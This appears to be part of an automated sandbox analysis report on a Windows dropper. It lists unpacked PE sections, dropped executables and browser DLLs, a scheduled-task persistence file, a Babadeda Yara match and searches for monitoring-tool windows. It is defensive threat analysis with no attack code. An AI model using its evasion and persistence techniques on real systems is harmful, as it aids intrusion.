Source:	Binary string: mozglue.pdb source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3085451057.000000006FCDD000.00000002.00000001.01000000.0000000E.sdmp, mozglue.dll.5.dr, mozglue[1].dll.5.dr
Source:	Binary string: softokn3.pdb source: softokn3.dll.5.dr, softokn3[1].dll.5.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Unpacked PE file: 3.2.DZKPIL2C5DR0YB6M.exe.a60000.0.unpack :EW;.rsrc:W;.idata :W;rujujpld:EW;tkihlsxu:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Unpacked PE file: 5.2.NTJ5FCNZGEJS945U0MUPLHRT.exe.930000.0.unpack :EW;.rsrc:W;.idata :W;pkmjmmvt:EW;ypshbykv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;pkmjmmvt:EW;ypshbykv:EW;.taggant:EW;
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Unpacked PE file: 16.2.CGIJECFIEC.exe.600000.0.unpack :EW;.rsrc:W;.idata :W;qmfgnvnj:EW;jskflmnk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;qmfgnvnj:EW;jskflmnk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 17.2.skotes.exe.220000.0.unpack :EW;.rsrc:W;.idata :W;qmfgnvnj:EW;jskflmnk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;qmfgnvnj:EW;jskflmnk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 18.2.skotes.exe.220000.0.unpack :EW;.rsrc:W;.idata :W;qmfgnvnj:EW;jskflmnk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;qmfgnvnj:EW;jskflmnk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 19.2.skotes.exe.220000.0.unpack :EW;.rsrc:W;.idata :W;qmfgnvnj:EW;jskflmnk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;qmfgnvnj:EW;jskflmnk:EW;.taggant:EW;

Yara detected Babadeda

Source: Yara match	File source: 21.2.install1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.install1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\install1[1].exe, type: DROPPED

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.5.dr	Static PE information: real checksum: 0x31d555 should be: 0x31edca
Source: install1[1].exe.19.dr	Static PE information: real checksum: 0x0 should be: 0x1fd04
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe.0.dr	Static PE information: real checksum: 0x2cb59d should be: 0x2cf94d
Source: install1.exe.19.dr	Static PE information: real checksum: 0x0 should be: 0x1fd04
Source: skotes.exe.16.dr	Static PE information: real checksum: 0x31d555 should be: 0x31edca
Source: uLkHEqZ3u3.exe	Static PE information: real checksum: 0x1e1aee should be: 0x1dd476
Source: DZKPIL2C5DR0YB6M.exe.0.dr	Static PE information: real checksum: 0x2bda5e should be: 0x2bb488
Source: CGIJECFIEC.exe.5.dr	Static PE information: real checksum: 0x31d555 should be: 0x31edca

Source: uLkHEqZ3u3.exe	Static PE information: section name:
Source: uLkHEqZ3u3.exe	Static PE information: section name: .idata
Source: uLkHEqZ3u3.exe	Static PE information: section name:
Source: uLkHEqZ3u3.exe	Static PE information: section name: iqaraqez
Source: uLkHEqZ3u3.exe	Static PE information: section name: mryexqmi
Source: uLkHEqZ3u3.exe	Static PE information: section name: .taggant
Source: DZKPIL2C5DR0YB6M.exe.0.dr	Static PE information: section name:
Source: DZKPIL2C5DR0YB6M.exe.0.dr	Static PE information: section name: .idata
Source: DZKPIL2C5DR0YB6M.exe.0.dr	Static PE information: section name: rujujpld
Source: DZKPIL2C5DR0YB6M.exe.0.dr	Static PE information: section name: tkihlsxu
Source: DZKPIL2C5DR0YB6M.exe.0.dr	Static PE information: section name: .taggant
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe.0.dr	Static PE information: section name:
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe.0.dr	Static PE information: section name: .idata
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe.0.dr	Static PE information: section name: pkmjmmvt
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe.0.dr	Static PE information: section name: ypshbykv
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.5.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.5.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.5.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.5.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.5.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.5.dr	Static PE information: section name: .didat
Source: nss3.dll.5.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.5.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.5.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.5.dr	Static PE information: section name: .00cfg
Source: CGIJECFIEC.exe.5.dr	Static PE information: section name:
Source: CGIJECFIEC.exe.5.dr	Static PE information: section name: .idata
Source: CGIJECFIEC.exe.5.dr	Static PE information: section name: qmfgnvnj
Source: CGIJECFIEC.exe.5.dr	Static PE information: section name: jskflmnk
Source: CGIJECFIEC.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name: qmfgnvnj
Source: random[1].exe.5.dr	Static PE information: section name: jskflmnk
Source: random[1].exe.5.dr	Static PE information: section name: .taggant
Source: skotes.exe.16.dr	Static PE information: section name:
Source: skotes.exe.16.dr	Static PE information: section name: .idata
Source: skotes.exe.16.dr	Static PE information: section name: qmfgnvnj
Source: skotes.exe.16.dr	Static PE information: section name: jskflmnk
Source: skotes.exe.16.dr	Static PE information: section name: .taggant
Source: install1[1].exe.19.dr	Static PE information: section name: .code
Source: install1.exe.19.dr	Static PE information: section name: .code

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_014A72E2 push ecx; retf	0_3_014A72EF
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_014BC047 push eax; ret	0_3_014BC37D
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_014BCF58 push esp; iretd	0_3_014BCF59
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_014BCF54 push esp; iretd	0_3_014BCF55
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_014BE608 pushfd ; ret	0_3_014BE609
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_014BBFD0 push eax; ret	0_3_014BC37D
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_014D987F push cs; iretd	0_3_014D9880
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_014D987F push cs; iretd	0_3_014D9880
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_014E51C8 push ds; retf	0_3_014E51CA
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_014E51C8 push ds; retf	0_3_014E51CA
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_01511846 pushfd ; retf 0017h	0_3_01511842
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_01511846 pushfd ; retf 0017h	0_3_01511842
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_01510F64 push esi; retf	0_3_01510F67
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_01510F64 push esi; retf	0_3_01510F67
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_015117C2 pushfd ; retf 0017h	0_3_01511842
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_015117C2 pushfd ; retf 0017h	0_3_01511842
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_0150F2AC push esi; retf	0_3_0150F2AF
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_0150F2AC push esi; retf	0_3_0150F2AF
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_01511846 pushfd ; retf 0017h	0_3_01511842
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_01511846 pushfd ; retf 0017h	0_3_01511842
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_01510F64 push esi; retf	0_3_01510F67
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_01510F64 push esi; retf	0_3_01510F67
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_015117C2 pushfd ; retf 0017h	0_3_01511842
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_015117C2 pushfd ; retf 0017h	0_3_01511842
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_0150F2AC push esi; retf	0_3_0150F2AF
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_0150F2AC push esi; retf	0_3_0150F2AF
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_014D987F push cs; iretd	0_3_014D9880
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_014D987F push cs; iretd	0_3_014D9880
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_014E51C8 push ds; retf	0_3_014E51CA
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_014E51C8 push ds; retf	0_3_014E51CA
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Code function: 3_2_00BEA0BC push esi; mov dword ptr [esp], eax	3_2_00BEA0F1

Source: uLkHEqZ3u3.exe	Static PE information: section name: entropy: 7.9725292080122365
Source: uLkHEqZ3u3.exe	Static PE information: section name: iqaraqez entropy: 7.953156001686795
Source: CGIJECFIEC.exe.5.dr	Static PE information: section name: entropy: 7.099260441094773
Source: random[1].exe.5.dr	Static PE information: section name: entropy: 7.099260441094773
Source: skotes.exe.16.dr	Static PE information: section name: entropy: 7.099260441094773

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

File created: C:\Users\user\Documents\CGIJECFIEC.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File created: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Jump to dropped file
Source: C:\Users\user\Documents\CGIJECFIEC.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\Users\user\Documents\CGIJECFIEC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File created: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\install1[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\Documents\CGIJECFIEC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
